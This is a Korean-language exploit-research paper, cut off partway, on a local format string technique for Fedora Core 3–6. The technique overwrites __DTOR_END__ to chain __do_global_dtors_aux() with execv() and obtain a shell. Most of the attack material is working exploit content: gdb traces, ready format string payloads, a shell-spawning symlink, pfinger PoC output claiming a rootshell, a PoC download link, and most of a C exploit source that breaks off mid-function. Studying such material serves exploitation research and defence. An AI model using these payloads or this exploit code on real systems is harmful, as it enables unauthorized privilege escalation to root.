------------------------------------------------------------------------------------------------------------- 제목: Fedora Core 3,4,5,6 내에서 exec 계열 함수를 이용한 local format string exploit 방법 #3 (Fedora Core 3,4,5,6 based local format string exploit method #3) 부제: 이번엔 exec 계열 함수들을 이용하여 local exploit을 시도해보자~ (특집 3탄) 테스트 환경: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org ------------------------------------------------------------------------------------------------------------- 0) 잡담 이번에 소개하고자 하는 기법은 지금까지 연구한 내용들을 종합적으로 정리하여 적용해보는 공격이 될 것입니다. 먼저, ret(pop %eip) + exec 계열 함수 공격 기법을 자세히 설명하고 있는 "Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법" 문서를 읽어주시기 바랍니다. 이어서, __do_global_dtors_aux() 함수 공격 기법을 소개한 "Fedora Core 3,4,5,6 내에서 do_system 함수를 이용한 local format string exploit 방법 #2" 문서도 꼭 읽어주세요. 이번에는 __do_global_dtors_aux() 함수와 exec 계열 함수의 조합을 통해 원하는 권한을 획득하는 방법에 대해 연구해볼 것입니다. 1) __do_global_dtors_aux() + setuid() + do_system() 공격 기법의 문제점 일전에 소개해드렸던 __do_global_dtors_aux() + setuid() + do_system() 함수 조합을 통한 공격 기법은 한 가지 단점이 있습니다. 바로, root uid 권한을 얻을 때만 공격 가능하다는 것입니다. 실제로 local exploit 시에는 root uid가 아닌 다른 uid 권한의 사용자를 얻어야 될 때도 있습니다. 이 문제점을 해결하기 위해 local overflow 기법은 전부 exec 계열 함수를 통해 공격하고 있습니다. 이번 문서를 통해 local format string 기법 역시 exec 계열 함수를 통해 공격이 가능하다는 것을 증명해보도록 하겠습니다. 2) 공격 원리 설명 2-1) execv() 함수와 execve() 함수 수행 분석 exec 계열 함수 중, execv() 함수를 기준으로 설명드리겠습니다. 지금까지 exec 계열 공격의 기준이 되었던 execve() 함수는 총 세 개의 인자를 필요로 합니다. 하지만, execv() 함수의 경우, 두 개의 인자만 충족시키면 exploit이 가능합니다. (environment 인자 입력을 필요로 하지 않음) 그 밖에 exec 계열 함수를 보려면, man execv 명령을 통해 보다 더 자세한 사항을 확인해보시기 바랍니다. ------------------------------------------------------------------------------------------------------------- int execv( const char *path, char *const argv[]); The execv() and execvp() functions provide an array of pointers to null-terminated strings that represent the argument list available to the new program. The first argument, by convention, should point to the filename associated with the file being executed. The array of pointers must be terminated by a NULL pointer. ------------------------------------------------------------------------------------------------------------- Fedora core 6 시스템을 기준으로 분석해볼 것입니다. 다음은 execv() 함수와 execve() 함수 분석 결과입니다. ------------------------------------------------------------------------------------------------------------- (gdb) disass execv Dump of assembler code for function execv: 0x00b32d60 : push %ebx 0x00b32d61 : call 0xabad70 <__i686.get_pc_thunk.bx> 0x00b32d66 : add $0xab28e,%ebx 0x00b32d6c : sub $0xc,%esp 0x00b32d6f : mov 0xffffffb4(%ebx),%eax 0x00b32d75 : mov (%eax),%eax // environment 포인터를 %eax에 넣고, 0x00b32d77 : mov %eax,0x8(%esp) // execve() 세 번째 인자인 environment를 넣음. 0x00b32d7b : mov 0x18(%esp),%eax // execv() 두 번째 인자를 %eax에 넣고, 0x00b32d7f : mov %eax,0x4(%esp) // execve() 두 번째 인자인 argument ptr를 넣음. 0x00b32d83 : mov 0x14(%esp),%eax // execv() 첫 번째 인자를 %eax에 넣고, 0x00b32d87 : mov %eax,(%esp) // execve() 첫 번째 인자를 넣음. 0x00b32d8a : call 0xb32c00 // stack에 %eip( 코드) 레지스터를 push 함. 0x00b32d8f : add $0xc,%esp 0x00b32d92 : pop %ebx 0x00b32d93 : ret ... (gdb) disass execve Dump of assembler code for function execve: 0x00b32c00 : sub $0x8,%esp 0x00b32c03 : mov %ebx,(%esp) 0x00b32c06 : mov 0x10(%esp),%ecx // execve() 두 번째 인자를 %ecx 레지스터에 넣음 (argument ptr) 0x00b32c0a : mov %edi,0x4(%esp) 0x00b32c0e : mov 0x14(%esp),%edx // execve() 세 번째 인자를 %edx 레지스터에 넣음 (environment) 0x00b32c12 : call 0xabad70 <__i686.get_pc_thunk.bx> 0x00b32c17 : add $0xab3dd,%ebx 0x00b32c1d : mov 0xc(%esp),%edi // execve() 첫 번째 인자를 %edi 레지스터에 임시로 넣음 0x00b32c21 : xchg %ebx,%edi // %edi 레지스터(execve() 첫 번째 인자)를 %ebx 레지스터와 교환. 0x00b32c23 : mov $0xb,%eax // _NR_execve syscall 번호를 %eax 레지스터에 넣음 0x00b32c28 : call *%gs:0x10 // 인터럽트 ------------------------------------------------------------------------------------------------------------- 분석 결과를 보시면, 세 개의 인자를 필요로 하는 execve() 함수보다 두 개의 인자를 필요로 하는 execv() 함수를 사용하는 것이 공격의 성공률을 높일 수 있음을 알 수 있습니다. 2-2) shell 실행 가능한 구조 만들기 시험 다음은 취약점을 시험할 프로그램 코드입니다. 매우 일반적인 format string 취약점을 가지고 있습니다. ------------------------------------------------------------------------------------------------------------- [root@x0x __do_global_dtors_aux_test]# cat vuln.c #include /* case #1 */ int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); return 0; } [root@x0x __do_global_dtors_aux_test]# gcc -o vuln-test vuln.c ------------------------------------------------------------------------------------------------------------- exploit 시, execv() 함수를 통해 shell 실행이 가능한 구조를 만들려면, 몇 가지 필요한 사항이 있습니다. 앞서의 execv() 함수 분석 내용을 보면, execve() 함수를 호출하기 직전, %esp 레지스터의 값이 실행할 실제 명령어를 담고 있습니다. 그럼, 먼저 __DTOR_END__ 주소에 execv() 함수 주소를 덮어씌우는 시험을 해보도록 하겠습니다. ------------------------------------------------------------------------------------------------------------- #1. 첫 번째 시험 결과: 공격 실패 이유: execv() 함수의 첫 번째, 두 번째 인자 값이 올바르지 않음. [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08"`%56664x%5\$n%8889x%6\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x/x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x0019dd60 <--- __DTOR_END__ 주소를 execv() 함수 주소로 변경 (gdb) x/x $esp <--- execv() 함수 진입 직후의 stack pointer 0xbffbb91c: 0x0804834b (gdb) 0xbffbb920: 0x00000003 <--- execv() 함수의 첫 번째 인자로 복사되는 값 (gdb) 0xbffbb924: 0x00000003 <--- execv() 함수의 두 번째 인자로 복사되는 값 (gdb) 0xbffbb928: 0xbffbb938 <--- __do_global_dtors_aux+0에서 저장된 _fini() 함수 내의 %ebp (gdb) 0xbffbb92c: 0x080484a0 <--- _fini() 함수 내의 return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbffbb920: 0x00000003 <--- execv() 함수의 첫 번째 인자로 복사되는 값 (gdb) x/x $esp+0x18 0xbffbb924: 0x00000003 <--- execv() 함수의 두 번째 인자로 복사되는 값 (gdb) (gdb) x/x $esp <--- execve() 함수를 부르기 직전 stack pointer 0xbffbb90c: 0x00000003 <--- execve() 함수의 첫 번째 인자 (gdb) 0xbffbb910: 0x00000003 <--- execve() 함수의 두 번째 인자 (gdb) 0xbffbb914: 0xbffbba70 <--- execve() 함수의 세 번째 인자 (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x3: Cannot access memory at address 0x3 <--- execve() 함수의 첫 번째 인자 값 (gdb) x/x $ecx 0x3: Cannot access memory at address 0x3 <--- execve() 함수의 두 번째 인자 값 (gdb) x/x $edx 0xbffbba70: 0xbffbbc04 <--- execve() 함수의 세 번째 인자 값 (gdb) ------------------------------------------------------------------------------------------------------------- 잘 살펴 보시면, execv() 함수의 첫 번째 인자, 두 번째 인자 값이 올바르지 않은 것을 볼 수 있습니다. 공격을 성공시키기 위해서는, execv() 함수의 첫 번째 인자, 두 번째 인자 값만 잘 조절하면 됩니다. 이전의 __do_global_dtors_aux()를 이용한 format string 공격 문서에서 소개했던 방법을 그대로 시험해보도록 하겠습니다. 이번엔 __DTOR_END__ 주소에 __do_global_dtors_aux() 함수를 덮어씌운 후, execv() 호출한 결과입니다. ------------------------------------------------------------------------------------------------------------- #2. 두 번째 시험 결과: 공격 실패 이유: execv() 함수의 첫 번째 인자에 null이 들어감, 두 번째 인자 값이 올바르지 않음. [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x08"`%33568x%5\$n%34004x%6\$n%5 4620x%7\$n%8889x%8\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x/x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ 주소를 __do_global_dtors_aux() 함수 주소로 변경 (gdb) 0x80494c4 <__JCR_LIST__>: 0x0019dd60 <--- __DTOR_END__+4 주소를 execv() 함수 주소로 변경 (gdb) x/x $esp <--- execv() 함수 진입 직후의 stack pointer 0xbff5488c: 0x0804834b <--- __do_global_dtors_aux() 함수 내의 return address(%eip) # 두 번째 호출 (공격) (gdb) 0xbff54890: 0x00000000 <--- __do_global_dtors_aux() 내에서 할당된 지역 변수 8byte (gdb) 0xbff54894: 0x00000001 (gdb) 0xbff54898: 0xbff548a8 <--- __do_global_dtors_aux() 함수 내의 %ebp (gdb) 0xbff5489c: 0x0804834b <--- __do_global_dtors_aux() 함수 내의 return address(%eip) # 첫 번째 호출 (정상) (gdb) 0xbff548a0: 0x00000003 <--- __do_global_dtors_aux() 내에서 할당된 지역 변수 8byte (gdb) 0xbff548a4: 0x00000003 (gdb) 0xbff548a8: 0xbff548b8 <--- __do_global_dtors_aux+0에서 저장된 _fini() 함수 내의 %ebp (gdb) 0xbff548ac: 0x080484a0 <--- _fini() 함수 내의 return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbff54890: 0x00000000 <--- execv() 함수의 첫 번째 인자로 복사되는 값 (gdb) x/x $esp+0x18 0xbff54894: 0x00000001 <--- execv() 함수의 두 번째 인자로 복사되는 값 (gdb) (gdb) x/x $esp <--- execve() 함수를 부르기 직전 stack pointer 0xbff5487c: 0x00000000 <--- execve() 함수의 첫 번째 인자 (gdb) 0xbff54880: 0x00000001 <--- execve() 함수의 두 번째 인자 (gdb) 0xbff54884: 0xbff549f0 <--- execve() 함수의 세 번째 인자 (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x0: Cannot access memory at address 0x0 <--- execve() 함수의 첫 번째 인자 값 (gdb) x/x $ecx 0x1: Cannot access memory at address 0x1 <--- execve() 함수의 두 번째 인자 값 (gdb) x/x $edx 0xbff549f0: 0xbff54c04 <--- execve() 함수의 세 번째 인자 값 (gdb) ------------------------------------------------------------------------------------------------------------- 총 두 번의 __do_global_dtors_aux() 함수가 수행된 결과입니다. __do_global_dtors_aux() 함수가 한 번 수행되었을 때의 결과와 다르게 16byte의 공간이 더 할당된 것을 볼 수 있습니다. ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux()를 호출하여 할당한 16byte 내용: ^ | 스택이 커지는 방향 ... +-----------------------------------------+ | __do_global_dtors_aux() 지역 변수 4byte |: 할당된 지역 변수 (총 8byte) +-----------------------------------------+ | __do_global_dtors_aux() 지역 변수 4byte | +-----------------------------------------+ | __do_global_dtors_aux() %ebp | +-----------------------------------------+ | __do_global_dtors_aux() %eip | +-----------------------------------------+ ... | 주소가 커지는 방향 V ------------------------------------------------------------------------------------------------------------- execv() 함수의 첫 번째 인자로 null(0x00000000)이 들어간 것을 볼 수 있습니다. 만약 execv() 함수의 첫 번째 인자로 실행 가능한 주소를 배치하고, 두 번째 인자에 null(0x00000000) 값이 들어가도록 구성할 경우, shell을 수행할 수 있지 않을까, 생각을 해볼 수 있겠습니다. 2-3) 공격 가능성 발견 몇 가지 시험을 시도해본 결과, execv()의 첫 번째 인자와 두 번째 인자 조건을 만족시키는 방법을 찾을 수 있었습니다. 그것은, __do_global_dtors_aux() 함수 수행을 통해 stack 상에 한 개의 프레임을 생성한 상태에서, 추가적인 지역 변수를 할당하지 않고, call 코드만 수행하는 방법입니다. 이렇게 수행되는 call 코드는 결과적으로 현재 호출 중인 __do_global_dtors_aux() 함수의 return address(%eip)를 push 명령으로 stack에 저장하게 됩니다. 결국, 저장된 주소값은 execv() 함수의 첫 번째 인자로 들어가며, 두 번째 인자는 앞서 __do_global_dtors_aux() 함수를 호출하는 시험 결과에서 보았듯이 null(0x00000000) 값을 갖게 됩니다. 바로, 다음과 같은 payload를 통해 공격 가능합니다. ------------------------------------------------------------------------------------------------------------- (1) __DTOR_END__+0 주소를 __do_global_dtors_aux() 함수 주소로 overwrite. (2) __DTOR_END__+4 주소를 __do_global_dtors_aux()+27 주소로 overwrite. (정상적으로 call코드를 수행하기 위해) (3) __DTOR_END__+8 주소를 execv() 함수 주소로 overwrite. ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux() 함수는 지역 변수 8byte와 함께 이전 수행 함수의 %ebp, 이전 수행 함수의 %eip 주소, 총 16byte를 stack에 저장합니다. ------------------------------------------------------------------------------------------------------------- (gdb) disass __do_global_dtors_aux Dump of assembler code for function __do_global_dtors_aux: <--- 함수가 call 되었을 때 %eip 4byte 저장 0x08048330 <__do_global_dtors_aux+0>: push %ebp <--- 4byte 저장 0x08048331 <__do_global_dtors_aux+1>: mov %esp,%ebp 0x08048333 <__do_global_dtors_aux+3>: sub $0x8,%esp <--- 8byte 할당 0x08048336 <__do_global_dtors_aux+6>: cmpb $0x0,0x80495b8 0x0804833d <__do_global_dtors_aux+13>: je 0x804834b <__do_global_dtors_aux+27> 0x0804833f <__do_global_dtors_aux+15>: jmp 0x804835d <__do_global_dtors_aux+45> 0x08048341 <__do_global_dtors_aux+17>: add $0x4,%eax 0x08048344 <__do_global_dtors_aux+20>: mov %eax,0x80495b4 0x08048349 <__do_global_dtors_aux+25>: call *%edx 0x0804834b <__do_global_dtors_aux+27>: mov 0x80495b4,%eax <--- *%edx 레지스터를 call하기 위한 시작 과정 0x08048350 <__do_global_dtors_aux+32>: mov (%eax),%edx 0x08048352 <__do_global_dtors_aux+34>: test %edx,%edx 0x08048354 <__do_global_dtors_aux+36>: jne 0x8048341 <__do_global_dtors_aux+17> 0x08048356 <__do_global_dtors_aux+38>: movb $0x1,0x80495b8 0x0804835d <__do_global_dtors_aux+45>: leave 0x0804835e <__do_global_dtors_aux+46>: ret 0x0804835f <__do_global_dtors_aux+47>: nop End of assembler dump. (gdb) ------------------------------------------------------------------------------------------------------------- 앞서 시험에서도 보았듯이 __do_global_dtors_aux() 함수를 한 번 호출하였을 때, stack에는 0x00000000, 0x00000001 값이 지역 변수 8byte로 할당됩니다. 여기서, call *%edx 문법을 정상적으로 수행시켜주면, stack의 모양은 다음과 같이 됩니다. ------------------------------------------------------------------------------------------------------------- ^ | 스택이 커지는 방향 ... +-----------------------------------------------+ | 현재 수행 중인 함수로 돌아오는 return address |: 4byte +-----------------------------------------------+ | 현재 수행 중인 함수로 돌아오는 return address |: 4byte (execv() 첫 번째 인자가 됨) +-----------------------------------------------+ | 0x00000000 |: 8byte (execv() 두 번째 인자가 됨) +-----------------------------------------------+ | 0x00000001 | +-----------------------------------------------+ | 이전 함수 %ebp 레지스터 |: 4byte +-----------------------------------------------+ ... | 주소가 커지는 방향 V ------------------------------------------------------------------------------------------------------------- 위와 같은 stack 구조를 가지려면, __do_global_dtors_aux+25 번째에서 정상적인 call 명령이 수행되어야 합니다. 이 때문에 정상적인 call 명령을 수행하기 위해, call *%edx가 수행된 직 후인 __do_global_dtors_aux+27 위치부터 수행하는 것입니다. 우리는 이렇게 총 20byte의 공간을 stack에 임의로 할당하여 shell을 실행할 수 있는 조건을 만들 수 있습니다. 시험 후, stack의 내용은 다음과 같습니다. ------------------------------------------------------------------------------------------------------------- [root@x0x __do_global_dtors_aux_test]# gdb vuln-test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test Starting program: /tmp/__do_global_dtors_aux_test/vuln-test test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) test Program exited normally. (gdb) br *execv Breakpoint 1 at 0x406d60 (gdb) br *execv+42 Breakpoint 2 at 0x406d8a (gdb) br *execve+40 Breakpoint 3 at 0x406c28 (gdb) r `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x08\xc8\x94\x04\x08\xca\x94\x04 \x08"`%33560x%5\$n%34004x%6\$n%31559x%7\$n%33977x%8\$n%54620x%9\$n%8889x%10\$n ... Breakpoint 1, 0x0019dd60 in execv () from /lib/libc.so.6 (gdb) x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ 주소를 __do_global_dtors_aux() 함수 주소로 변경 (gdb) 0x80494c4 <__JCR_LIST__>: 0x0804834b <--- __DTOR_END__+4 주소를 __do_global_dtors_aux()+27 주소로 변경 (gdb) 0x80494c8 <_DYNAMIC>: 0x0019dd60 <--- __DTOR_END__+8 주소를 execv() 함수 주소로 변경 (gdb) (gdb) x/x $esp <--- execv() 함수 진입 직후의 stack pointer 0xbfdbced8: 0x0804834b <--- __do_global_dtors_aux() 함수 내의 return address(%eip) # 세 번째 호출 (공격) (gdb) 0xbfdbcedc: 0x0804834b <--- __do_global_dtors_aux() 함수 내의 return address(%eip) # 두 번째 호출 (공격) (gdb) 0xbfdbcee0: 0x00000000 <--- __do_global_dtors_aux() 내에서 할당된 지역 변수 8byte (gdb) 0xbfdbcee4: 0x00000001 (gdb) 0xbfdbcee8: 0xbfdbcef8 <--- __do_global_dtors_aux() 함수 내의 %ebp (gdb) 0xbfdbceec: 0x0804834b <--- __do_global_dtors_aux() 함수 내의 return address(%eip) # 첫 번째 호출 (정상) (gdb) 0xbfdbcef0: 0x00000003 <--- __do_global_dtors_aux() 내에서 할당된 지역 변수 8byte (gdb) 0xbfdbcef4: 0x00000003 (gdb) 0xbfdbcef8: 0xbfdbcf08 <--- __do_global_dtors_aux+0에서 저장된 _fini() 함수 내의 %ebp (gdb) 0xbfdbcefc: 0x080484a0 <--- _fini() 함수 내의 return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbfdbcedc: 0x0804834b <--- execv() 함수의 첫 번째 인자로 복사되는 값 (gdb) x/x $esp+0x18 0xbfdbcee0: 0x00000000 <--- execv() 함수의 두 번째 인자로 복사되는 값 (gdb) (gdb) x/x $esp <--- execve() 함수를 부르기 직전 stack pointer 0xbfdbcec8: 0x0804834b <--- execve() 함수의 첫 번째 인자 (gdb) 0xbfdbcecc: 0x00000000 <--- execve() 함수의 두 번째 인자 (gdb) 0xbfdbced0: 0xbfdbd040 <--- execve() 함수의 세 번째 인자 (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 <--- execve() 함수의 첫 번째 인자 값 (gdb) x/x $ecx 0x0: Cannot access memory at address 0x0 <--- execve() 함수의 두 번째 인자 값 (gdb) x/x $edx 0xbfdbd040: 0xbfdbec04 <--- execve() 함수의 세 번째 인자 값 (gdb) ------------------------------------------------------------------------------------------------------------- 첫 번째 execv() 인자로 쓰이는 full 코드는 다음과 같습니다. ------------------------------------------------------------------------------------------------------------- (gdb) x 0x0804834b 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 (gdb) 0x804834f <__do_global_dtors_aux+31>: 0x85108b08 (gdb) 0x8048353 <__do_global_dtors_aux+35>: 0xc6eb75d2 (gdb) 0x8048357 <__do_global_dtors_aux+39>: 0x0495b805 (gdb) 0x804835b <__do_global_dtors_aux+43>: 0xc3c90108 (gdb) 0x804835f <__do_global_dtors_aux+47>: 0xe5895590 (gdb) 0x8048363 : 0xa108ec83 (gdb) 0x8048367 : 0x080494c4 (gdb) 0x804836b : 0x1274c085 (gdb) 0x804836f : 0x000000b8 (gdb) ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux+27 번째 줄부터 frame_dummy+15 번째 줄까지 입니다. 좀 길군요. :-} 자 그럼, 실행할 shell 프로그램을 위 주소 코드로 symlink 하여 실행해보도록 하겠습니다. ------------------------------------------------------------------------------------------------------------- sh-3.1# cat > shell.c int main() { system("/bin/bash"); } sh-3.1# gcc -o shell shell.c sh-3.1# ln -s shell `printf "\xa1\xb4\x95\x04\x08\x8b\x10\x85\xd2\x75\xeb\xc6\x05\xb8\x95\x04\x08\x01\xc9\xc3 \x90\x55\x89\xe5\x83\xec\x08\xa1\xc4\x94\x04\x08\x85\xc0\x74\x12\xb8"` sh-3.1# while [ 1 ] ; do ./vuln-test `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x0 8\xc8\x94\x04\x08\xca\x94\x04\x08"`%33560x%5\$n%34004x%6\$n%31559x%7\$n%33977x%8\$n%54620x%9\$n%8889x%10\$n; done ... ... ... Segmentation fault ... ... [root@x0x __do_global_dtors_aux_test]# ------------------------------------------------------------------------------------------------------------- 매우 성공적으로 명령을 실행할 수 있었습니다. __DTOR_END__ 주소 위치부터 순서대로, 값을 덮어씌웁니다. 다음과 같이 overwrite 될 것입니다. ------------------------------------------------------------------------------------------------------------- overwrite 구조: <__DTOR_END__+0>: 0x08048330 (__do_global_dtors_aux() 주소) <__DTOR_END__+4>: 0x0804834b (__do_global_dtors_aux()+27 주소) <__DTOR_END__+8>: 0x0019dd60 (execv() 함수 주소) 실제 gdb 디버깅 결과: (gdb) x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ 주소를 __do_global_dtors_aux() 함수 주소로 변경 (gdb) 0x80494c4 <__JCR_LIST__>: 0x0804834b <--- __DTOR_END__+4 주소를 __do_global_dtors_aux()+27 주소로 변경 (gdb) 0x80494c8 <_DYNAMIC>: 0x0019dd60 <--- __DTOR_END__+8 주소를 execv() 함수 주소로 변경 (gdb) ------------------------------------------------------------------------------------------------------------- 3) 실제 exploit 3-1) pfinger local exploit (Proof-of-Concept) 일전의 "Fedora Core 3,4,5,6 내에서 do_system 함수를 이용한 local format string exploit 방법 #2" 문서에서 소개한 pfinger exploit case 입니다. 이번에는 __do_global_dtors_aux() + execv() 조합을 통해 공격을 시도하는 exploit code 입니다. 예전과 마찬가지로, 공격 코드를 시험하기 위해서는 local 시스템에 in.fingerd 데몬을 활성해야 합니다. in.fingerd 데몬을 활성한 후, exploit을 실행한 결과는 다음과 같습니다. ------------------------------------------------------------------------------------------------------------- [x82@localhost 0x82-pfinger_new_PoC]$ ./pfinger_execv_ex ... ... ... 8a3002b: no such user. [*] Fedora Core 6 based pfinger-0.7.7 local format string exploit [*] exploit successfully. [*] It's rootshell! sh-3.1# ------------------------------------------------------------------------------------------------------------- 저와 함께 exploit을 즐기길 원하시는 분들은 아래 코드를 다운로드 받아 시험해보시길 바랍니다. http://x82.inetcop.org/h0me/papers/data/0x82-pfinger_new_PoC.tgz (root 권한에서 압축을 풀면, root 소유자의 setuid가 설정되어 있을 것입니다.) 여러분의 시스템에 맞게 수정하여 연구에 적절히 활용하시길 바랍니다. 3-2) __do_global_dtors_aux() + execv() test exploit 첨부된 공격 코드는 여러분의 갈증을 쉽게 해소시켜 줄 것입니다. (Fedora core 3,4,5,6 버전에서 시험되었습니다.) 각 운영체제 버전 별로 덮어씌우는 공격 코드 크기가 다른 것을 볼 수 있는데, Fedora core 3,4 시스템의 경우, __do_global_dtors_aux() 함수 호출 없이, __do_global_dtors_aux() + execv() 함수 8byte overwrite 만으로 공격이 가능합니다. 그 이유는, __do_global_dtors_aux() 함수를 통한 16byte 추가 할당 없이도 execv() 두 번째 인자 값이 null(0x00000000) 값을 갖기 때문입니다. 물론, Fedora core 5,6 시스템은 지금까지 문서에서 분석한대로, __do_global_dtors_aux() + __do_global_dtors_aux()+27 + execv() 함수 조합으로 총 12byte overwrite를 시도해야 공격을 성공시킬 수 있습니다. ------------------------------------------------------------------------------------------------------------- /* ** ** Code name: 0x82-dtors_execv_ex.c ** Description: Fedora Core Linux 6 based format string exploit (POC-local) ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include /* global */ int sflag=0; int type=3; unsigned long __dtors_end__=0; unsigned long call_edx_next=0; unsigned long __do_global_dtors_aux_addr=0; unsigned char __do_global_dtors_aux_ret_code[256]; struct os_t { int num; char *os; int overwrite_type; unsigned long execv_addr; }; struct os_t plat[]={ { 0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0 /* It's bad ! */ }, { 1,"Fedora Core release 4 (Stentz)",8,0x7a22d4 }, { 2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c }, { 3,"Fedora Core release 6 (Zod)",12,0x19dd60 }, { 4,NULL,0,0x0 } }; unsigned long execv_addr=0; void banrl() { fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n"); } void sig_exit() { printf(" [-] exploit end.\n\n"); exit(-1); } void end_exploit() { printf(" [-] exploit failed.\n\n"); exit(-1); } int make_shell() { FILE *fp; if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr," [-] shell make failed.\n"); exit(-1); } fprintf(fp, "#include \n" "int main(){\n" " unlink(\"sh\");\n" " unlink(\"sh.c\");\n" " unlink(\"%s\");\n" " setuid(geteuid());\n" " setgid(getegid());\n" " setreuid(geteuid(),geteuid());\n" " setregid(getegid(),getegid());\n" " execl(\"/bin/sh\",\"sh\",0);\n" "}\n",__do_global_dtors_aux_ret_code); fclose(fp); system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null"); symlink("sh",__do_global_dtors_aux_ret_code); return 0; } int main(int argc,char *argv[]) { FILE *fp; int ret=0; (void)banrl(); if(argc<2) { fprintf(stdout," Usage: %s [target program] [os type num]\n" " example> %s ./vuln 3 (default)\n\n" " type num> 0: FC3.\n" " 1: FC4.\n" " 2: FC5.\n" " 3: FC6. (default)\n\n",argv[0],argv[0]); exit(-1); } if(argc==3) { type=atoi(argv[2]); } execv_addr=plat[type].execv_addr; printf(" [+] execv address: %p\n",execv_addr); signal(SIGINT,sig_exit); signal(SIGTSTP,sig_exit); if((ret=find_sflag_poc(argv[1]))==-1) { end_exploit(); } if((ret=find_addr(argv[1]))==-1) { end_exploit(); } if((ret=find_execute_command(argv[1]))==-1) { end_exploit(); } (int)make_shell(); #define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" setenv("PATH",PATH,strlen(PATH)); while(1) { do_exploit(argv[1]); /* exploit success check */ if((fp=fopen("sh","r"))==NULL) { fprintf(stdout," [*] exploit successfully.\n\n"); exit(-1); } else fclose(fp); } return 0; } int do_exploit(char *p) { int i=0; int j=0; int pid=0; int t_sflag=sflag; int __do_global_dtors_aux_head=0; int __do_global_dtors_aux_tail=0; int call_edx_next_head=0; int call_edx_next_tail=0; int execv_head=0; int execv_tail=0; unsigned char buf[1024]; unsigned char fmt[512]; memset(buf,0,sizeof(buf)); memset(fmt,0,sizeof(fmt)); __do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff; __do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff; call_edx_next_head=(call_edx_next>>16)&0xffff; call_edx_next_tail=(call_edx_next>>0)&0xffff; execv_head=(execv_addr>>16)&0xffff; execv_tail=(execv_addr>>0)&0xffff; // make retloc *(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */ i+=4; *(long *)&buf[i]=__dtors_end__+2; i+=4; *(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */ i+=4; *(long *)&buf[i]=__dtors_end__+6; i+=4; *(long *)&buf[i]=__dtors_end__+8; /* execv() */ i+=4; *(long *)&buf[i]=__dtors_end__+10; i+=4; // make format string if(plat[type].overwrite_type==8) { /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-strlen(buf), t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } else if(plat[type].overwrite_type==12) { /* __do_global_dtors_aux() */ 